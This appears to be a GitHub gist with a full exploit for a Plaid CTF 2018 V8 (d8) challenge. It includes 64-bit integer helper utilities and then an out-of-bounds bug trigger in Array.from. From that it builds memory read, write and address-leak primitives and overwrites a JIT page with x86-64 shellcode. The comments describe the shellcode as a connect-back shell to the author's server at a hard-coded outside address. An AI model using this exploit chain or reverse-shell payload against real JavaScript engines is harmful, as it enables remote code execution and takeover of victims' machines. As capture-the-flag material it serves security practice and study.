Plaid CTF 2018 d8 exploit
/* Plaid CTF 2018 v8 Exploit. Exploit begins around line 240 */ | |
/* ### Utils, thanks saelo ### */ | |
// | |
// Tiny module that provides big (64bit) integers. | |
// | |
// Copyright (c) 2016 Samuel Groß | |
// | |
// Requires utils.js | |
// | |
// Datatype to represent 64-bit integers. | |
// | |
// Internally, the integer is stored as a Uint8Array in little endian byte order. | |
function Int64(v) { | |
// The underlying byte array. | |
var bytes = new Uint8Array(8); | |
switch (typeof v) { | |
case 'number': | |
v = '0x' + Math.floor(v).toString(16); | |
case 'string': | |
if (v.startsWith('0x')) | |
v = v.substr(2); | |
if (v.length % 2 == 1) | |
v = '0' + v; | |
var bigEndian = unhexlify(v, 8); | |
bytes.set(Array.from(bigEndian).reverse()); | |
break; | |
case 'object': | |
if (v instanceof Int64) { | |
bytes.set(v.bytes()); | |
} else { | |
if (v.length != 8) | |
throw TypeError("Array must have excactly 8 elements."); | |
bytes.set(v); | |
} | |
break; | |
case 'undefined': | |
break; | |
default: | |
throw TypeError("Int64 constructor requires an argument."); | |
} | |
// Return a double whith the same underlying bit representation. | |
this.asDouble = function() { | |
// Check for NaN | |
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) | |
throw new RangeError("Integer can not be represented by a double"); | |
return Struct.unpack(Struct.float64, bytes); | |
}; | |
// Return a javascript value with the same underlying bit representation. | |
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) | |
// due to double conversion constraints. | |
this.asJSValue = function() { | |
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) | |
throw new RangeError("Integer can not be represented by a JSValue"); | |
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. | |
this.assignSub(this, 0x1000000000000); | |
var res = Struct.unpack(Struct.float64, bytes); | |
this.assignAdd(this, 0x1000000000000); | |
return res; | |
}; | |
// Return the underlying bytes of this number as array. | |
this.bytes = function() { | |
return Array.from(bytes); | |
}; | |
// Return the byte at the given index. | |
this.byteAt = function(i) { | |
return bytes[i]; | |
}; | |
// Return the value of this number as unsigned hex string. | |
this.toString = function() { | |
return '0x' + hexlify(Array.from(bytes).reverse()); | |
}; | |
// Basic arithmetic. | |
// These functions assign the result of the computation to their 'this' object. | |
// Decorator for Int64 instance operations. Takes care | |
// of converting arguments to Int64 instances if required. | |
function operation(f, nargs) { | |
return function() { | |
if (arguments.length != nargs) | |
throw Error("Not enough arguments for function " + f.name); | |
for (var i = 0; i < arguments.length; i++) | |
if (!(arguments[i] instanceof Int64)) | |
arguments[i] = new Int64(arguments[i]); | |
return f.apply(this, arguments); | |
}; | |
} | |
// this = -n (two's complement) | |
this.assignNeg = operation(function neg(n) { | |
for (var i = 0; i < 8; i++) | |
bytes[i] = ~n.byteAt(i); | |
return this.assignAdd(this, Int64.One); | |
}, 1); | |
// this = a + b | |
this.assignAdd = operation(function add(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) + b.byteAt(i) + carry; | |
carry = cur > 0xff | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
// this = a - b | |
this.assignSub = operation(function sub(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) - b.byteAt(i) - carry; | |
carry = cur < 0 | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
} | |
// Constructs a new Int64 instance with the same bit representation as the provided double. | |
Int64.fromDouble = function(d) { | |
var bytes = Struct.pack(Struct.float64, d); | |
return new Int64(bytes); | |
}; | |
// Convenience functions. These allocate a new Int64 to hold the result. | |
// Return -n (two's complement) | |
function Neg(n) { | |
return (new Int64()).assignNeg(n); | |
} | |
// Return a + b | |
function Add(a, b) { | |
return (new Int64()).assignAdd(a, b); | |
} | |
// Return a - b | |
function Sub(a, b) { | |
return (new Int64()).assignSub(a, b); | |
} | |
// Some commonly used numbers. | |
Int64.Zero = new Int64(0); | |
Int64.One = new Int64(1); | |
Int64.Eight = new Int64(8); | |
// That's all the arithmetic we need for exploiting WebKit.. :) | |
// | |
// Utility functions. | |
// | |
// Copyright (c) 2016 Samuel Groß | |
// | |
// Return the hexadecimal representation of the given byte. | |
function hex(b) { | |
return ('0' + b.toString(16)).substr(-2); | |
} | |
// Return the hexadecimal representation of the given byte array. | |
function hexlify(bytes) { | |
var res = []; | |
for (var i = 0; i < bytes.length; i++) | |
res.push(hex(bytes[i])); | |
return res.join(''); | |
} | |
// Return the binary data represented by the given hexdecimal string. | |
function unhexlify(hexstr) { | |
if (hexstr.length % 2 == 1) | |
throw new TypeError("Invalid hex string"); | |
var bytes = new Uint8Array(hexstr.length / 2); | |
for (var i = 0; i < hexstr.length; i += 2) | |
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); | |
return bytes; | |
} | |
function hexdump(data) { | |
if (typeof data.BYTES_PER_ELEMENT !== 'undefined') | |
data = Array.from(data); | |
var lines = []; | |
for (var i = 0; i < data.length; i += 16) { | |
var chunk = data.slice(i, i+16); | |
var parts = chunk.map(hex); | |
if (parts.length > 8) | |
parts.splice(8, 0, ' '); | |
lines.push(parts.join(' ')); | |
} | |
return lines.join('\n'); | |
} | |
// Simplified version of the similarly named python module. | |
var Struct = (function() { | |
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations. | |
var buffer = new ArrayBuffer(8); | |
var byteView = new Uint8Array(buffer); | |
var uint32View = new Uint32Array(buffer); | |
var float64View = new Float64Array(buffer); | |
return { | |
pack: function(type, value) { | |
var view = type; // See below | |
view[0] = value; | |
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); | |
}, | |
unpack: function(type, bytes) { | |
if (bytes.length !== type.BYTES_PER_ELEMENT) | |
throw Error("Invalid bytearray"); | |
var view = type; // See below | |
byteView.set(bytes); | |
return view[0]; | |
}, | |
// Available types. | |
int8: byteView, | |
int32: uint32View, | |
float64: float64View | |
}; | |
})(); | |
/* #### Start Exploit #### */ | |
// Shellcode to run. In this case, a connect back shell to my server | |
var sc = []; | |
for (var i=0; i<0x100; i++) { | |
sc.push(0x90); | |
} | |
sc = sc.concat([0x48,0x31,0xc0,0x48,0x31,0xff,0x48,0x31,0xf6,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x6a,0x2,0x5f,0x6a,0x1,0x5e,0x6a,0x6,0x5a,0x6a,0x29,0x58,0xf,0x5,0x49,0x89,0xc0,0x48,0x31,0xf6,0x4d,0x31,0xd2,0x41,0x52,0xc6,0x4,0x24,0x2,0x66,0xc7,0x44,0x24,0x2,0x7a,0x69,0xc7,0x44,0x24,0x4,0x68,0x83,0xd5,0x43,0x48,0x89,0xe6,0x6a,0x10,0x5a,0x41,0x50,0x5f,0x6a,0x2a,0x58,0xf,0x5,0x48,0x31,0xf6,0x6a,0x3,0x5e,0x48,0xff,0xce,0x6a,0x21,0x58,0xf,0x5,0x75,0xf6,0x48,0x31,0xff,0x57,0x57,0x5e,0x5a,0x48,0xbf,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x48,0xc1,0xef,0x8,0x57,0x54,0x5f,0x6a,0x3b,0x58,0xf,0x5,]) | |
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } } | |
function l(x) { | |
console.log(x); | |
} | |
// Some convenience typed arrays | |
conva = new ArrayBuffer(8); | |
convf = new Float64Array(conva); | |
convi = new Uint32Array(conva); | |
gc(); | |
gc(); | |
let oobArray = [1.1]; | |
let oobArray2 = []; | |
var save = Array(100); | |
// Trigger the bug | |
// https://github.com/v8/v8/commit/b5da57a06de8791693c248b7aafc734861a3785d | |
// This bug is caused by turbofan doing SetLength after the end of the iterator. | |
// The code checks if the current array size, so setting oobArray.length will cause | |
// the length to not match the FixedArray holding the elements. | |
let getOOB = function(oobArray, l) { | |
let maxSize = 1028 * 8; | |
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( | |
{ | |
counter : 0, | |
next() { | |
let result = this.counter++; | |
if (this.counter > maxSize) { | |
oobArray.length = l; | |
return {done: true}; | |
} else { | |
return {value: result, done: false}; | |
} | |
} | |
} | |
) }); | |
return oobArray; | |
} | |
// Create an OOB Float array, with length 1. We don't want 0, because that will | |
// give use a zero sized fixed array far away from our data. | |
oobArray = getOOB([1.1], 1); | |
// Generate some jsarrays and typed arrays to corrupt | |
for (let j = 0; j<100; j++) { | |
if (j%2==0) { | |
save[j] = [0x41424346, 0x41424347, save]; | |
} else { | |
save[j] = (new ArrayBuffer(0x41)); | |
} | |
} | |
gc(); | |
gc(); | |
var index = null; | |
//%DebugPrint(oobArray); | |
//%DebugPrint(save); | |
// Look for the typed array index with our OOB read | |
var last = 0; | |
for (let i=0; i<oobArray.length; i++) { | |
let f = oobArray[i]; | |
convf[0] = f; | |
// Length SMI is 0x41 | |
if (convi[1] === 0x41) { | |
l('found typed array 0'); | |
l(i); | |
convi[1]= 0x8; // Modify the length so we can find which one we control | |
oobArray[i] = convf[0] | |
index = i; | |
break; | |
} | |
last = convf[0]; | |
} | |
// Find which typed array we control | |
var ca = null; | |
for (let i=0; i<100; i++) { | |
if (i%2 ==0) | |
continue; | |
if (save[i].byteLength != 0x41) { | |
l('found typed array 1'); | |
ca = save[i]; | |
break; | |
} | |
} | |
// Look for the JS Array with the OOB read | |
var jsindex = null; | |
for (let i=0; i<oobArray.length; i++) { | |
let f = oobArray[i]; | |
convf[0] = f; | |
// Check for elements in the array | |
if (convi[1] === 0x41424346) { | |
convf[0] = oobArray[i+1]; | |
if (convi[1] !== 0x41424347) { | |
continue; | |
} | |
convf[0] = oobArray[i+2]; | |
if (convi[1] === 0) { | |
continue; | |
} | |
l('found js array 0'); | |
l(i); | |
convi[0] = 0; | |
convi[1]= 0x51525354; // Modify the first element so we can detect it | |
oobArray[i] = convf[0] | |
jsindex = i; | |
break; | |
} | |
last = convf[0]; | |
} | |
// Find which JS Array we con control | |
var js = null; | |
for (let i=0; i<100; i++) { | |
if (i%2 !=0) | |
continue; | |
if (save[i][0] != 0x41424346) { | |
l('found js array 1'); | |
js = save[i]; | |
break; | |
} | |
} | |
if (index=== null || ca === null || js === null || jsindex === null) { | |
l('bad'); | |
} | |
// Create our primatives | |
prims = { | |
// Get a copy of the typed array with an arbitrary length and backing pointer | |
arb: (a, l) => { | |
convi[1]= l; | |
convi[0]= 0x0; | |
oobArray[index] = convf[0]; | |
oobArray[index+1] = a.asDouble(); | |
oobArray[index+2] = a.asDouble(); | |
return new Uint8Array(ca); | |
}, | |
// Read 64bits from a given address | |
read: (a) => { | |
convi[1]= 0x8; | |
convi[0]= 0x0; | |
oobArray[index] = convf[0]; | |
oobArray[index+1] = a.asDouble(); | |
oobArray[index+2] = a.asDouble(); | |
return new Int64(new Uint8Array(ca)); | |
}, | |
// Write 64bits to a given address | |
write: (a, v) => { | |
convi[1]= 0x8; | |
convi[0]= 0x0; | |
oobArray[index] = convf[0]; | |
oobArray[index+1] = a.asDouble(); | |
oobArray[index+2] = a.asDouble(); | |
var u8 = new Uint8Array(ca); | |
u8[0] = v.byteAt(0); | |
u8[1] = v.byteAt(1); | |
u8[2] = v.byteAt(2); | |
u8[3] = v.byteAt(3); | |
u8[4] = v.byteAt(4); | |
u8[5] = v.byteAt(5); | |
u8[6] = v.byteAt(6); | |
u8[7] = v.byteAt(7); | |
}, | |
// Get the address of an object | |
addrOf: (x) => { | |
js[0] = x; | |
return Int64.fromDouble(oobArray[jsindex]); | |
} | |
}; | |
/* | |
l('test addrof') | |
z = prims.addrOf(ca); | |
z = prims.read(z); | |
l(z); | |
*/ | |
// Create a jit function to leak the jit page from | |
jit = function(y) { | |
x = y[0]; | |
x = x+1*4+2*4+2+5; | |
y[0] = x; | |
} | |
for(let j=0; j<10000;j++) { | |
jit([1]); | |
jit([1]); | |
jit([1]); | |
} | |
// Leak the jit page | |
var jitAddrPtr = prims.addrOf(jit); | |
l(jitAddrPtr) | |
jitAddrPtr.assignSub(jitAddrPtr, Int64.One); | |
bad = {}; | |
// My offset seemed to not be right, so I manually searched for the jit pointer | |
var jitAddr = null; | |
for (let i=0; i<0x20; i++) { | |
// Grab the next value | |
jitAddrPtr.assignAdd(jitAddrPtr, Int64.Eight); | |
l(jitAddrPtr); | |
// Check upper bits to find jit page mapping | |
jitAddr = prims.read(jitAddrPtr); | |
k = jitAddr.byteAt(4)+(jitAddr.byteAt(5)<<8); | |
jitAddr.assignSub(jitAddr, Int64.One); | |
// Grab third mapping we see | |
if (!(k in bad)) { | |
if (Object.keys(bad).length === 2) { | |
break; | |
} | |
bad[k] = true; | |
} | |
} | |
z = prims.read(jitAddr); | |
l('jit read is '+z); | |
// Write our shellcode over the jitpage | |
var jb = prims.arb(jitAddr, 0x1000); | |
//jb.fill(0xcc); | |
jb.set(sc); | |
jit(); | |
while(1){} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment